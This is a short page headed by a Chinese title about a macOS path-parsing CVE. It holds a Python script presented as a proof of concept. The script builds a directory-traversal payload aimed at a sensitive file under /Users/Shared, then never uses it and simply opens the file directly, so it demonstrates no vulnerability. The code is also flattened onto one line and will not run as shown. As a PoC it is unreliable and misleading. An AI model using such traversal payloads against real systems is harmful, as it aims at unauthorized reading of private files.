CVE-2026-20632 macOS路径解析漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-20632 (macOS Directory Path Parsing Issue) This script demonstrates a theoretical path traversal attempt. Note: Actual exploitation requires a vulnerable macOS environment. """ import os def simulate_path_traversal(): # Sensitive data location on macOS target = "/Users/Shared/SensitiveData.txt" # Malformed path attempting to bypass validation # In a real scenario, this would be passed to a vulnerable API payload = "./../../../../../.." + target print(f"[*] Attempting to access: {target}") print(f"[*] Using payload: {payload}") # Simulate the vulnerability check failure # Vulnerable system might normalize path incorrectly try: # This is a simulation, actual file access depends on permissions if os.path.exists(target): print("[+] Target file exists (Simulation)") with open(target, 'r') as f: print(f"[+] Content: {f.read()}") else: print("[-] File not found (Simulation)") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": simulate_path_traversal()